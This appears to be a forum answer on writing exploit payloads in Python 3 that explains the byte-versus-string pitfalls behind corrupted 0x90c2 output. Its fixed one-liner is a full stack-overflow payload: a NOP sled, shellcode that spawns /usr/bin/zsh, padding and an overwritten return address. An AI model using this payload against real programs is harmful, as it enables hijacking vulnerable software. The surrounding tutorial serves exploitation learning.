Ah. It looks like you've been hit with the good old 0x90c290c2.
This happens because of the differences in how Python2 and Python3 handles raw bytes.
Basically \x90c2 is the hexadecimal encoding of the UTF-8 character U+0090. Source
TL;DR
Prepend b
to define raw bytes, import sys and use sys.stdout.buffer.write()
to print raw bytes to stdout.
Modified code is shown below:
run $(python -c 'import sys; sys.stdout.buffer.write(b"\x90" * 182 + b"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + b"\x41\x41\x41\x41" * 10 + b"\x1c\xdd\xff\xff\xff\x7f")')
Long version
The main difference between python2 and python3 when it comes to handling raw bytes is that, python3 doesn’t store raw bytes into a variable or print raw bytes to stdout using the same old syntax.
If we want to save raw bytes to a variable, or print raw variable to stdout in Python3, we have to use a different syntax than python2. Also, we cannot concatenate raw bytes and strings in Python3. So, we have to convert the bytes to string or vice versa before any sort of concatenation.
In Python3, we have to explicitly specify the variable type as raw bytes using the b prefix, for Python to interpret it as raw bytes.
Storing raw bytes in Python3
buf = b'\x90'
Notice the preceeding b along with the NOP? That b is required to let python know that this is a bytes variable. A lowercase b must preceed a string, if that string is to be treated as raw bytes. If not, Python will treat the data as a UTF-8 string variable, which ultimately messes up our cause.
We also have to be careful when printing raw bytes to stdout, as the print function doesn’t behave the same in python3.
Printing raw bytes to stdout in Python3 using Bash one-liner
So, to print raw bytes to stdout, we have to use the function sys.stdout.buffer.write()
. It is available in the sys
python package.
python -c 'import sys;a=b"\x41";sys.stdout.buffer.write(a)'
Printing raw bytes as string in Python3
Now, during binary exploitation, we would also require to print the UTF-8 encoded version of a raw bytes (Pretty print the raw bytes).
If that’s the case, then we can use the following code to print the raw bytes received from a network socket as string.
This code will receive raw bytes from a network socket and decodes the bytes as UTF-8 formatted string and prints the output to stdout.
out=socket.recv(1024) # Receiving raw bytes from socket
print(out.decode("utf-8")) # Converting bytes to utf-8 string
# and printing it to stdout
Bonus Tip: Converting string variable to raw bytes in Python3
There might be situations where you have defined a variable as a string and you don’t want to edit all the variables back to buffer.
Well to those lazy people, there is a function in python3 called bytes()
.
Bytes function converts the a string to raw bytes, given the encoding type.
buf = ''
buf += '\x41\x41\x41\x41\x41\x41'
buf += '\x41\x41\x41\x41\x41\x41'
buf += '\x41\x41\x41\x41\x41\x41' # Raw bytes as string
socket.send(bytes(buf,"utf-8")) # Converting string to bytes
# and sending it to socket
This tip might not be super important, but this does comes in handy when debugging issues with our code during binary exploitation and when python raises Type Errors like a bytes-like object is required
.
I've wrote a guide on Binary exploitation using Python3 and how to address the common pitfalls in this blog post. Read that for a more step by step explanation.